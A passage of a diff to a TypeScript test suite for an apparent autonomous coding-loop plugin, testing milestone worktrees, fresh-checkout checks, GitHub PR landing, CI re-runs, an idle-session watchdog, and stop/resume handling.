// Spent by that start and not granted again. - expect(w.files.get('/repo/.claude/goal-loop.gate')).toBe('0\n') + await planned($, w) + await turnStart($) + for (let i = 0; i < 5; i++) await w.clock.advance(TICK) + expect(w.adds).toHaveLength(1) + expect((await cmd($, 'status')).text).toContain(`building: add() returns a+b (${BR1})`) }) - test('a failing check adds a fix goal on the milestone branch; three failures hold it', async ($, on) => { + test('a check that fails in a fresh checkout adds a fix goal on the milestone branch, which the loop builds next and lands', async ($, on) => { const w = world(on) - await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - await cmd($, 'start') - w.files.set('/repo/.claude/auto-plan.md', PLAN) - w.files.set('/repo/.claude/goals.md', QUEUE) - await $.tool.call({ tool: 'mcp__auto-claude__auto_plan_ready' } as never) - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - w.checkExit = 1 - await w.clock.advance(30_000) - await w.clock.advance(30_000) - const queue = w.files.get('/repo/.claude/goals.md') ?? '' - expect(queue).toContain(':: base: goal/01-add') - expect((await cmd($, 'status')).text).toContain('fixing') + await planned($, w) + await meet($, w, () => { + w.freshExit = 1 + }) + expect(w.runs.some(r => r.includes('worktree add --detach /repo/worktrees/auto-verify'))).toBe(true) expect(w.pushes.some(p => p.includes('HEAD:main'))).toBe(false) + const fix = parseQueue(w.files.get(GOALS) ?? '').find(i => i.base !== undefined) + expect(fix?.base).toBe(BR1) + expect(fix?.condition).toContain('fresh checkout') + expect((await cmd($, 'status')).text).toContain('fixing') + // The loop takes the fix before milestone 2, from the milestone's branch. + await w.clock.advance(TICK) + expect(w.adds.at(-1)).toMatch(new RegExp(`worktree add /repo/worktrees/goal-02-make-branch-[^ ]+ -b goal/02-make-branch-[^ ]+ ${BR1}$`)) + w.freshExit = 0 + await meet($, w) + await w.clock.advance(TICK) + expect(w.pushes.filter(p => p.includes('HEAD:main'))).toHaveLength(1) }) - test('the stop file ends the run and turns the loop off', async ($, on) => { + test('the stop file ends the run, and the loop with it: no goal judged, no guards', async ($, on) => { const w = world(on) - await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - await cmd($, 'start') + await planned($, w) + expect((await $.tool.call({ tool: 'AskUserQuestion', questions: [] } as never)).deny).toContain('nobody can answer') w.files.set('/repo/.claude/auto-claude.stop', '') - await w.clock.advance(30_000) - await w.clock.advance(30_000) - expect(w.commands).toContain('goal-mode loop off') + await w.clock.advance(TICK) expect((await cmd($, 'status')).text).toContain('phase stopped') + expect((await $.classic.Stop(STOP)).block).toBeUndefined() + expect(w.evaluations).toBe(0) + expect((await $.tool.call({ tool: 'AskUserQuestion', questions: [] } as never)).deny).toBeUndefined() }) - test('a loop on that starts nothing is asked again, backing off, and the person told with its reply', async ($, on) => { - const w = world(on) - w.loopReply = 'A session goal is active ("x"): /goal-mode clear it before starting the loop.' - await planned($, w) - await w.clock.advance(30_000) - expect(w.commands).toEqual(['goal-mode loop on']) - // Nothing is logged: the grant stands, and the loop is asked again. - for (let i = 0; i < 40; i++) await w.clock.advance(30_000) - expect(w.commands.filter(c => c === 'goal-mode loop on').length).toBeGreaterThanOrEqual(4) - expect(w.commands.filter(c => c === 'goal-mode loop on').length).toBeLessThan(10) - expect(w.notifies.some(n => n.includes('does not take the next milestone') && n.includes('A session goal is active'))).toBe(true) - expect((await cmd($, 'status')).text).toContain('/goal-mode loop on starts nothing') - expect(w.files.get(GATE)).toBe('1\n') - - // Once the loop starts it, the tries reset. - log(w, [{ event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }]) - await w.clock.advance(30_000) - expect((await cmd($, 'status')).text).not.toContain('starts nothing') - }) - - test('a run from before the credit gate has its absolute gate rewritten, then one start granted', async ($, on) => { - const old = { on: true, phase: 'run', root: '/repo', sessionId: 'me', hint: '', round: 1, startedAt: Date.now(), remote: 'origin', defaultBranch: 'main', ciMode: 'local', logOffset: 0, started: 1, finished: 1, gate: 2, kicked: 2, worktrees: {}, ships: [], fixes: {}, merges: 1, held: 0, queueEmpty: false } - const w = world(on, { 'auto:/repo': old }) - w.files.set(GATE, '2\n') - w.files.set('/repo/.claude/goals.md', QUEUE.replace('- [ ] add', '- [x] add')) - await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - await w.clock.advance(30_000) - expect(w.files.get(GATE)).toBe('1\n') - await w.clock.advance(30_000) - expect(w.commands).toEqual(['goal-mode loop on']) - }) - - test('a run whose owning session went quiet is reported elsewhere, unattended rules kept out, and resumed on request', async ($, on) => { - const other = { on: true, phase: 'run', root: '/repo', sessionId: 'gone', hint: '', round: 1, startedAt: Date.now(), beatAt: -20 * MIN, remote: 'origin', defaultBranch: 'main', ciMode: 'local', logOffset: 0, started: 1, finished: 1, credit: true, worktrees: {}, ships: [], fixes: {}, merges: 1, held: 0, queueEmpty: false } - const w = world(on, { 'auto:/repo': other }) - w.files.set('/repo/.claude/goals.md', QUEUE.replace('- [ ] add', '- [x] add')) + test('a run whose owning session went quiet is reported elsewhere, unattended rules kept out, and resumed with its milestone', async ($, on) => { + const other = { on: true, phase: 'run', root: '/repo', sessionId: 'gone', hint: '', round: 1, startedAt: 0, beatAt: -20 * MIN, remote: 'origin', defaultBranch: 'main', ciMode: 'local', logOffset: 0, started: 1, finished: 0, worktrees: { [BR1]: WT1 }, ships: [], fixes: {}, merges: 0, held: 0, queueEmpty: false } + const loop = { repoRoot: '/repo', seq: 1, retries: 0, current: { condition: 'add() returns a+b', check: 'python3 -m unittest -q test_add', worktree: WT1, branch: BR1, startedAt: 0 } } + const w = world(on, { 'auto:/repo': other, 'loop:/repo': loop }) + w.files.set(GOALS, QUEUE) await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - const composed = await $.prompt.compose({ sections: [], text: '', model: 'claude-opus-5-5', promptModel: 'claude-opus-5-5', surfaces: [], tools: [], outputStyle: null, traits: [] } as never) - expect(JSON.stringify(composed)).not.toContain('auto-claude:policy') - await w.clock.advance(30_000) - await w.clock.advance(30_000) + expect(JSON.stringify(await compose($))).not.toContain('auto-claude:policy') + await w.clock.advance(TICK) + await w.clock.advance(TICK) expect(w.notifies.filter(n => n.includes('went quiet'))).toHaveLength(1) - expect(w.commands).toEqual([]) + expect(w.notifies[0]).toContain('/auto-claude resume in this session takes it over') + expect(w.prompts).toEqual([]) expect((await cmd($, 'resume')).text).toContain('Resumed: phase run') - await w.clock.advance(30_000) - await w.clock.advance(30_000) - expect(w.commands).toEqual(['goal-mode loop on']) - expect(JSON.stringify(await $.prompt.compose({ sections: [], text: '', model: 'claude-opus-5-5', promptModel: 'claude-opus-5-5', surfaces: [], tools: [], outputStyle: null, traits: [] } as never))).toContain('auto-claude:policy') + await w.clock.advance(1_200) + expect(w.prompts.at(-1)).toContain('Continuing (resumed by the person)') + expect(w.prompts.at(-1)).toContain('Milestone #1: add() returns a+b') + const composed = JSON.stringify(await compose($)) + expect(composed).toContain('auto-claude:policy') + expect(composed).toContain('auto-claude:loop') + // Its milestone is judged here now. + await meet($, w) + await w.clock.advance(TICK) + expect(w.pushes.some(p => p.includes('HEAD:main'))).toBe(true) }) - test('a run still planning is reminded with what the files lack, then stopped', async ($, on) => { + test('a run still planning is reminded with what the files lack, then stopped', { timeoutMs: 30_000 }, async ($, on) => { const w = world(on) await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) await cmd($, 'start') @@ -634,45 +413,36 @@ describe('a run, local CI', () => { for (let i = 0; i < 3; i++) await w.clock.advance(16 * MIN) expect(w.prompts.filter(p => p.includes('Reminder'))).toHaveLength(3) expect((await cmd($, 'status')).text).toContain('no plan was accepted after 3 reminders') - expect(w.files.get(GATE)).toBe('') }) - test('the same shipping error tick after tick is told once', async ($, on) => { + test('a planning turn that ends without a plan is reminded 2 min later, not 15 (P4)', async ($, on) => { const w = world(on) - w.github = true - w.gitGone = true - await planned($, w) - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - for (let i = 0; i < 14; i++) await w.clock.advance(30_000) - // Not a CI failure, so no fix goal: it repeats, and is told exactly once. - expect(w.notifies.filter(n => n.includes('stuck at push') && n.includes('ENOENT'))).toHaveLength(1) + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + await cmd($, 'start') + await w.clock.advance(200) + await turnStart($) + await w.clock.advance(MIN) + // The model ends its turn asking the person something. + await turnEnd($) + await w.clock.advance(MIN) + expect(w.prompts.filter(p => p.includes('Reminder'))).toHaveLength(0) + await w.clock.advance(MIN + TICK) + expect(w.prompts.filter(p => p.includes('Reminder'))).toHaveLength(1) }) test('a milestone whose worktree was removed is made again from its branch, or held when the branch is gone too', async ($, on) => { const w = world(on) await planned($, w) - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - w.gone.add('/repo/worktrees/goal-01-add') - await w.clock.advance(30_000) - expect(w.runs).toContain('git -C /repo worktree add /repo/worktrees/goal-01-add goal/01-add') - await w.clock.advance(30_000) + await meet($, w, () => w.gone.add(WT1)) + expect(w.runs).toContain(`git -C /repo worktree add ${WT1} ${BR1}`) expect(w.pushes.some(p => p.includes('HEAD:main'))).toBe(true) - // The next one loses its branch as well: held and told, not retried forever. - log(w, [ - { event: 'start', goal: 'sub() returns a-b', worktree: '/repo/worktrees/goal-02-sub', branch: 'goal/02-sub' }, - { event: 'met', goal: 'sub() returns a-b', branch: 'goal/02-sub' }, - ]) - w.gone.add('/repo/worktrees/goal-02-sub') - w.branchGone = true - await w.clock.advance(30_000) - expect(w.notifies.some(n => n.includes('held') && n.includes('branch goal/02-sub are gone'))).toBe(true) + // The next one loses its branch as well: held and told, and the run goes on. + await meet($, w, () => { + w.gone.add(WT2) + w.branchGone = true + }) + expect(w.notifies.some(n => n.includes('held') && n.includes(`branch ${BR2} are gone`) && n.includes('going on'))).toBe(true) }) test('a run started over a stale stop file keeps running, and resume sets one aside too', async ($, on) => { @@ -681,51 +451,94 @@ describe('a run, local CI', () => { await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) expect((await cmd($, 'start')).text).toContain('moved to .claude/auto-claude.stop.cleared') expect(w.files.has('/repo/.claude/auto-claude.stop')).toBe(false) - expect(w.files.has('/repo/.claude/auto-claude.stop.cleared')).toBe(true) expect(w.files.get('/repo/.git/info/exclude')).toContain('.claude/auto-claude.stop.cleared') - for (let i = 0; i < 3; i++) await w.clock.advance(30_000) + for (let i = 0; i < 3; i++) await w.clock.advance(TICK) expect((await cmd($, 'status')).text).toContain('auto-claude on · phase plan') - - // A stop file written while the run is on still stops it. w.files.set('/repo/.claude/auto-claude.stop', '') - await w.clock.advance(30_000) + await w.clock.advance(TICK) expect((await cmd($, 'status')).text).toContain('phase stopped') - - // Resuming is the person's word to go on: the file is set aside again. expect((await cmd($, 'resume')).text).toContain('moved to .claude/auto-claude.stop.cleared') - for (let i = 0; i < 3; i++) await w.clock.advance(30_000) + for (let i = 0; i < 3; i++) await w.clock.advance(TICK) expect((await cmd($, 'status')).text).toContain('auto-claude on') }) - test('github: a met milestone with green CI reaches its successor\'s start in one tick; a pending CI is looked at every 10 s', async ($, on) => { + test('status names an orphaned owner and how long ago it last ticked', async ($, on) => { + const other = { on: true, phase: 'run', root: '/repo', sessionId: 'gone-session', hint: '', round: 1, startedAt: 0, beatAt: 1_000 - 25 * MIN, remote: 'origin', defaultBranch: 'main', ciMode: 'local', logOffset: 0, started: 1, finished: 1, worktrees: {}, ships: [], fixes: {}, merges: 1, held: 0, queueEmpty: false } + world(on, { 'auto:/repo': other }) + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + const text = (await cmd($, 'status')).text ?? '' + expect(text).toContain('stalled: orphaned') + expect(text).toContain('gone-ses') + expect(text).toContain('25 min ago') + }) + + test('status names planning still waiting and what the plan files lack', { timeoutMs: 30_000 }, async ($, on) => { + const w = world(on) + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + await cmd($, 'start') + await w.clock.advance(200) + expect((await cmd($, 'status')).text).not.toContain('stalled:') + w.files.set('/repo/.claude/auto-plan.md', PLAN.replace(/Deploy:.*\n/, '')) + await w.clock.advance(16 * MIN) + const text = (await cmd($, 'status')).text ?? '' + expect(text).toContain('stalled: planning still waiting') + expect(text).toContain('goals.md is missing') + expect(text).toContain('no "Deploy:') + }) + + test('start from a session whose directory was a removed worktree finds the repository above it', async ($, on) => { + const w = world(on) + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + w.cwd = '/repo/worktrees/goal-03-landed' + w.gone.add('/repo/worktrees/goal-03-landed') + const text = (await cmd($, 'start')).text ?? '' + expect(text).toContain('auto-claude on in /repo') + expect(text).toContain('/repo/worktrees/goal-03-landed no longer exists') + }) + + test('session.start draws the piece even with no run; session.end clears it by the ending id', async ($, on) => { + const w = world(on) + on('session.end', (_, e) => ({ sessionId: e.sessionId })) + const PIECE = '/home/.claude/statusline/me/auto-claude.txt' + w.files.set(PIECE, 'auto·R1·M2/7') + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + expect(w.files.get(PIECE)).toBe('') + await cmd($, 'start') + expect(w.files.get(PIECE)).toContain('auto·R1·plan') + await $.session.end({ reason: 'clear', sessionId: 'me', resume: { id: 'me' } }) + expect(w.files.get(PIECE)).toBe('') + }) + + test('a run from goal-mode\'s loop takes its open milestone over from the log; seq starts above the branches there are', async ($, on) => { + const rec = { on: true, phase: 'run', root: '/repo', sessionId: 'me', hint: '', round: 1, startedAt: 0, remote: 'origin', defaultBranch: 'main', ciMode: 'local', logOffset: 1, started: 1, finished: 0, credit: true, worktrees: { 'goal/07-add': '/repo/worktrees/goal-07-add' }, ships: [], fixes: {}, merges: 0, held: 0, queueEmpty: false } + const w = world(on, { 'auto:/repo': rec }) + w.files.set(GOALS, QUEUE) + w.files.set(LOG, `${JSON.stringify({ ts: 'a', event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-07-add', branch: 'goal/07-add' })}\n`) + w.branches = 'goal/07-add\n' + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + await w.clock.advance(1_200) + expect(w.prompts.at(-1)).toContain('auto-claude 1.0 took the loop over from goal-mode') + expect(w.prompts.at(-1)).toContain('/repo/worktrees/goal-07-add') + // Met here: it ships, and the next milestone takes a seq above goal/07. + await meet($, w) + await w.clock.advance(TICK) + expect(w.pushes.some(p => p.includes('HEAD:main'))).toBe(true) + expect(w.adds.at(-1)).toContain('-b goal/08-sub-returns-a-b') + }) +}) + +describe('a run, github CI', () => { + test('a met milestone with green CI reaches its successor\'s start in one tick; a pending CI is looked at every 10 s', async ($, on) => { const w = world(on) w.github = true await planned($, w) - await w.clock.advance(30_000) - expect(w.commands).toEqual(['goal-mode loop on']) - - // Met, CI already green: push, PR, checks, landing, grant and loop on in one tick. - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - { event: 'gated', goal: 'sub() returns a-b' }, - ]) - w.files.set('/repo/.claude/goals.md', QUEUE.replace('- [ ] add', '- [x] add')) - await w.clock.advance(30_000) + await meet($, w) expect(w.merged).toHaveLength(1) - expect(w.files.get(GATE)).toBe('1\n') - expect(w.commands).toEqual(['goal-mode loop on', 'goal-mode loop on']) - // Every gh call names origin's repository, so a fork's upstream is never picked. + expect(w.adds).toHaveLength(2) for (const call of w.runs.filter(a => /^gh pr (create|checks|view|merge)/.test(a))) expect(call).toContain('--repo o/r') - expect(w.runs.some(a => a.startsWith('gh pr create'))).toBe(true) - // The next one's CI is pending: looked at again within 10 s, landed once green. - log(w, [ - { event: 'start', goal: 'sub() returns a-b', worktree: '/repo/worktrees/goal-02-sub', branch: 'goal/02-sub' }, - { event: 'met', goal: 'sub() returns a-b', branch: 'goal/02-sub' }, - ]) w.checks = '[{"bucket":"pending"}]' - await w.clock.advance(30_000) + await meet($, w) expect(w.merged).toHaveLength(1) const looks = w.ciLooks w.checks = '[{"bucket":"pass"}]' @@ -734,180 +547,444 @@ describe('a run, local CI', () => { expect(w.merged).toHaveLength(2) }) - test('github: no checks reported right after the PR opens waits for the grace, then counts as no CI', async ($, on) => { + test('only required checks decide: a red check that is not required does not block the merge (P1)', async ($, on) => { + const w = world(on) + w.github = true + w.required = '[{"bucket":"pass"}]' + w.checks = '[{"bucket":"pass"},{"bucket":"fail"}]' + await planned($, w) + await meet($, w) + expect(w.runs.some(r => r.startsWith('gh pr checks 7 --repo o/r --required'))).toBe(true) + expect(w.merged).toHaveLength(1) + expect(parseQueue(w.files.get(GOALS) ?? '').some(i => i.base !== undefined)).toBe(false) + }) + + test('with no required checks every check decides, and a red one becomes a fix goal (P1)', async ($, on) => { + const w = world(on) + w.github = true + w.checks = '[{"bucket":"pass"},{"bucket":"fail"}]' + await planned($, w) + await meet($, w) + expect(w.merged).toHaveLength(0) + expect(parseQueue(w.files.get(GOALS) ?? '').find(i => i.base !== undefined)?.condition).toContain('CI failed') + }) + + test('no checks reported right after the PR opens waits for the grace, then counts as no CI', async ($, on) => { const w = world(on) w.github = true w.checks = '' await planned($, w) - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - await w.clock.advance(30_000) - // Opened this tick: GitHub has not registered its checks yet. + await meet($, w) expect(w.merged).toHaveLength(0) - for (let i = 0; i < 4; i++) await w.clock.advance(30_000) + for (let i = 0; i < 4; i++) await w.clock.advance(TICK) expect(w.merged).toHaveLength(1) }) - test('session.start draws the piece even with no run (taking down a stale one); session.end clears it by the ending id', async ($, on) => { + test('a merge whose reply was lost (a 502 after GitHub merged it) counts as merged (P3)', async ($, on) => { const w = world(on) - on('session.end', (_, e) => ({ sessionId: e.sessionId })) - const PIECE = '/home/.claude/statusline/me/auto-claude.txt' - w.files.set(PIECE, 'auto·R1·M2/7') - await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - expect(w.files.get(PIECE)).toBe('') - await cmd($, 'start') - expect(w.files.get(PIECE)).toContain('auto·R1·plan') - await $.session.end({ reason: 'clear', sessionId: 'me', resume: { id: 'me' } }) - expect(w.files.get(PIECE)).toBe('') + w.github = true + w.mergeFails = true + await planned($, w) + await meet($, w) + expect((await cmd($, 'status')).text).toContain('1 merged, 0 held') + expect(w.adds).toHaveLength(2) }) - test('the driver plays its part of the shared loop protocol (shared/loop-protocol.jsonl) through a whole milestone', async ($, on) => { + test('a PR closed under the run is opened again once, then held', async ($, on) => { const w = world(on) - const [held, grant, started, met, regrant] = LOOP_PROTOCOL.steps as [ProtocolStep, ProtocolStep, ProtocolStep, ProtocolStep, ProtocolStep] - expect([held, grant, started, met, regrant].map(s => `${s.by} ${s.do}`)).toEqual(['loop loop on', 'driver grant', 'loop loop on', 'loop met', 'driver grant']) - // The loop's side, as recorded: its log lines and the gate it leaves. - const play = (step: ProtocolStep) => { - log(w, step.log.map(entry => Object.fromEntries(Object.entries(entry).map(([k, v]) => [k, v === '' ? 'x' : v.replace('{root}', '/repo')])) as { event: string })) - w.files.set(GATE, `${step.gate}\n`) - } - await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - await cmd($, 'start') - w.files.set('/repo/.claude/auto-plan.md', PLAN) - w.files.set('/repo/.claude/goals.md', LOOP_PROTOCOL.queue) - - // The loop is on and held at the gate before the plan is ready. - play(held) - await $.tool.call({ tool: 'mcp__auto-claude__auto_plan_ready' } as never) - expect(w.files.get(GATE)?.trim()).toBe(grant.gate) - - // The driver asks the loop on; the loop starts the milestone. - await w.clock.advance(30_000) - expect(w.commands).toEqual(['goal-mode loop on']) - play(started) - - // Met: the driver lands it, grants the next start and asks the loop on again. - w.files.set('/repo/.claude/goals.md', LOOP_PROTOCOL.queue.replace('- [ ] a', '- [x] a')) - play(met) - await w.clock.advance(30_000) - expect(w.pushes.some(p => p.includes('HEAD:main') && p.includes('goal-01-a'))).toBe(true) - expect(w.files.get(GATE)?.trim()).toBe(regrant.gate) - expect(w.commands).toEqual(['goal-mode loop on', 'goal-mode loop on']) + w.github = true + w.checks = '[{"bucket":"pending"}]' + await planned($, w) + await meet($, w) + w.prState = 'CLOSED' + w.checks = '[{"bucket":"pass"}]' + await w.clock.advance(TICK) + expect(w.runs.some(r => r.startsWith('gh pr reopen 7 --repo o/r'))).toBe(true) + expect(w.merged).toHaveLength(1) }) - test('status names an orphaned owner and how long ago it last ticked', async ($, on) => { - const other = { on: true, phase: 'run', root: '/repo', sessionId: 'gone-session', hint: '', round: 1, startedAt: Date.now(), beatAt: 1_000 - 25 * MIN, remote: 'origin', defaultBranch: 'main', ciMode: 'local', logOffset: 0, started: 1, finished: 1, credit: true, worktrees: {}, ships: [], fixes: {}, merges: 1, held: 0, queueEmpty: false } - world(on, { 'auto:/repo': other }) - await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - const text = (await cmd($, 'status')).text ?? '' - expect(text).toContain('stalled: orphaned') - expect(text).toContain('gone-ses') - expect(text).toContain('25 min ago') - expect(text).toContain('/auto-claude resume') + test('the check runs in a fresh checkout of the head fetched from origin before landing; a fix goal lands it', async ($, on) => { + const w = world(on) + w.github = true + w.freshExit = 1 + await planned($, w) + await meet($, w) + expect(w.runs).toContain(`git -C /repo fetch -q origin ${BR1}`) + expect(w.runs).toContain(`git -C /repo worktree add --detach /repo/worktrees/auto-verify origin/${BR1}`) + expect(w.merged).toHaveLength(0) + expect(w.files.get(GOALS) ?? '').toContain(`fresh checkout of origin/${BR1}`) + w.freshExit = 0 + await w.clock.advance(TICK) + await meet($, w) + await w.clock.advance(TICK) + expect(w.merged).toHaveLength(1) }) +}) - test('status names a granted start the loop is not taking, with its last loop on reply', async ($, on) => { +describe('the watchdog (P2, P4, P5)', () => { + test('a milestone whose session sits idle is prompted again at 3, 6 and 12 min, then blocked, and the run goes on', { timeoutMs: 30_000 }, async ($, on) => { const w = world(on) - w.loopReply = 'A session goal is active ("x"): /goal-mode clear it before starting the loop.' await planned($, w) - await w.clock.advance(30_000) - // One ask whose start the next tick has not read yet is not a stall. - expect((await cmd($, 'status')).text).not.toContain('stalled:') - for (let i = 0; i < 6; i++) await w.clock.advance(30_000) - const text = (await cmd($, 'status')).text ?? '' - expect(text).toContain('stalled: a granted start is not taken') - expect(text).toContain('A session goal is active') + const wakes = () => w.prompts.filter(p => p.includes('the session sat idle') && p.includes('Milestone #1')) + // The model ended its turn without a stop the loop could judge. + await turnStart($) + await turnEnd($) + await w.clock.advance(2 * MIN) + expect(wakes()).toHaveLength(0) + // Ticks are 30 s apart: the first one past 3 min of quiet wakes it. + await w.clock.advance(MIN + TICK + 1_200) + expect(wakes()).toHaveLength(1) + expect(wakes()[0]).toContain('Milestone #1: add() returns a+b') + expect(wakes()[0]).toContain('wake 1/3') + // Busy turns are not quiet. + await turnStart($) + await w.clock.advance(30 * MIN) + expect(wakes()).toHaveLength(1) + await turnEnd($) + for (let i = 0; i < 60; i++) await w.clock.advance(TICK) + expect(wakes()).toHaveLength(3) + // Still nothing after the third: the milestone is blocked and the next one starts. + expect(w.files.get(GOALS)).toMatch(/- \[!\] add\(\) returns a\+b .*did not work on it after 3 prompts/) + expect(w.adds.at(-1)).toContain(WT2) + expect(w.notifies.some(n => n.includes('blocked: add() returns a+b') && n.includes('going on'))).toBe(true) }) - test('status names planning still waiting and what the plan files lack', async ($, on) => { + test('a stop being judged or a retry being armed is not quiet', async ($, on) => { const w = world(on) + await planned($, w) + // Five unmet stops in one turn: stuck, with a retry armed for 2 min. + for (let i = 0; i < 4; i++) expect((await $.classic.Stop({ ...STOP })).block).toBeDefined() + w.checkExit = 1 + expect((await $.classic.Stop(STOP)).block).toBeUndefined() + await w.clock.advance(2 * MIN + 1_200) + expect(w.prompts.filter(p => p.includes('Retry 1/2'))).toHaveLength(1) + expect(w.prompts.filter(p => p.includes('the session sat idle'))).toHaveLength(0) + }) + + test('a run clears a session /goal when it starts and refuses ProposeGoal and questions while it runs (P5)', async ($, on) => { + const w = world(on) + w.commandNames = ['goal'] await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + expect((await $.tool.call({ tool: 'AskUserQuestion', questions: [] } as never)).deny).toBeUndefined() await cmd($, 'start') await w.clock.advance(200) - // Just started: planning, not a stall. - expect((await cmd($, 'status')).text).not.toContain('stalled:') - await w.clock.advance(16 * MIN) - const text = (await cmd($, 'status')).text ?? '' - expect(text).toContain('stalled: planning still waiting') - expect(text).toContain('reminder 1/3') - expect(text).toContain('auto-plan.md is missing') + expect(w.commands).toContain('goal clear') + // Even while planning: nobody answers, and a session goal would hold the loop. + expect((await $.tool.call({ tool: 'AskUserQuestion', questions: [] } as never)).deny).toContain('nobody can answer') + expect((await $.tool.call({ tool: 'ProposeGoal', condition: 'x' } as never)).deny).toContain('session goal would block it') + expect((await $.tool.call({ tool: 'EnterPlanMode' } as never)).deny).toContain('plan mode') + }) + + test('where the engine has no /goal, nothing is run to clear one', async ($, on) => { + const w = world(on) + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + await cmd($, 'start') + await w.clock.advance(200) + expect(w.commands).toEqual([]) }) - test('status names a shipping error that keeps coming back, with its note and count', async ($, on) => { + test('an SSH remote that refuses the push is pushed over https instead (P2)', async ($, on) => { const w = world(on) w.github = true - w.gitGone = true + w.sshDenied = true await planned($, w) - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - await w.clock.advance(30_000) - expect((await cmd($, 'status')).text).not.toContain('stalled:') - for (let i = 0; i < 3; i++) await w.clock.advance(30_000) - const text = (await cmd($, 'status')).text ?? '' - expect(text).toContain('stalled: shipping stuck at push') - expect(text).toContain('ENOENT') - expect(text).toMatch(/the same error \d+ checks in a row/) + await meet($, w) + expect(w.merged).toHaveLength(0) + // An SSH push refused: the next one goes over https. + await w.clock.advance(TICK) + expect(w.pushes.some(p => p.includes('push -u https://github.com/o/r.git'))).toBe(true) + expect(w.merged).toHaveLength(1) }) - test('local: the check runs in a fresh checkout of the rebased head; one that passes only in the builder\'s worktree becomes a fix goal', async ($, on) => { + test('an error no remedy clears goes to the model at 5 checks, is held at 10, and a second hold for one cause stops the run', { timeoutMs: 30_000 }, async ($, on) => { const w = world(on) + w.github = true + w.gitGone = true await planned($, w) - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - w.freshExit = 1 - await w.clock.advance(30_000) - expect(w.runs.some(r => r.includes('worktree add --detach /repo/worktrees/auto-verify'))).toBe(true) - expect(w.pushes.some(p => p.includes('HEAD:main'))).toBe(false) - const queue = w.files.get('/repo/.claude/goals.md') ?? '' - expect(queue).toContain('fresh checkout') - expect(queue).toContain(':: base: goal/01-add') - expect(w.runs.filter(r => r.includes('worktree remove --force /repo/worktrees/auto-verify')).length).toBeGreaterThanOrEqual(2) + await meet($, w) + for (let i = 0; i < 5; i++) await w.clock.advance(TICK) + const asked = w.prompts.filter(p => p.includes('[auto-claude] Shipping is stuck')) + expect(asked).toHaveLength(1) + expect(asked[0]).toContain('ENOENT') + expect(asked[0]).toContain('Do not merge or deploy') + for (let i = 0; i < 6; i++) await w.clock.advance(TICK) + expect(w.notifies.some(n => n.startsWith('auto-claude (repo): held: add() returns a+b') && n.includes('going on'))).toBe(true) + // The run went on to milestone 2, which hits the same wall: the run stops instead of holding every milestone. + expect(w.adds.at(-1)).toContain(WT2) + await meet($, w) + for (let i = 0; i < 12; i++) await w.clock.advance(TICK) + expect(w.notifies.at(-1)).toContain('stopped: 2 milestones in a row were held for one cause (push)') + expect((await cmd($, 'status')).text).toContain('phase stopped') }) - test('github: before landing, the check runs in a fresh checkout of the head fetched from origin', async ($, on) => { + test('a CI that does not finish is re-run once, then held, and the run goes on (P1)', { timeoutMs: 30_000 }, async ($, on) => { const w = world(on) w.github = true + w.checks = '[{"bucket":"pending"}]' + w.runList = '[{"databaseId": 91, "status": "queued"}]' await planned($, w) - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - w.freshExit = 1 - await w.clock.advance(30_000) - expect(w.runs).toContain('git -C /repo fetch -q origin goal/01-add') - expect(w.runs).toContain('git -C /repo worktree add --detach /repo/worktrees/auto-verify origin/goal/01-add') - expect(w.merged).toHaveLength(0) - expect(w.files.get('/repo/.claude/goals.md') ?? '').toContain('fresh checkout of origin/goal/01-add') + await meet($, w) + for (let i = 0; i < 5; i++) await w.clock.advance(5 * MIN) + expect(w.runs.some(r => r.startsWith('gh run cancel 91'))).toBe(false) + // Every run still queued after 30 min: no runner will take it. + for (let i = 0; i < 2; i++) await w.clock.advance(5 * MIN) + expect(w.runs.some(r => r.startsWith('gh run cancel 91 --repo o/r'))).toBe(true) + expect(w.runs.some(r => r.startsWith('gh run rerun 91 --repo o/r'))).toBe(true) + 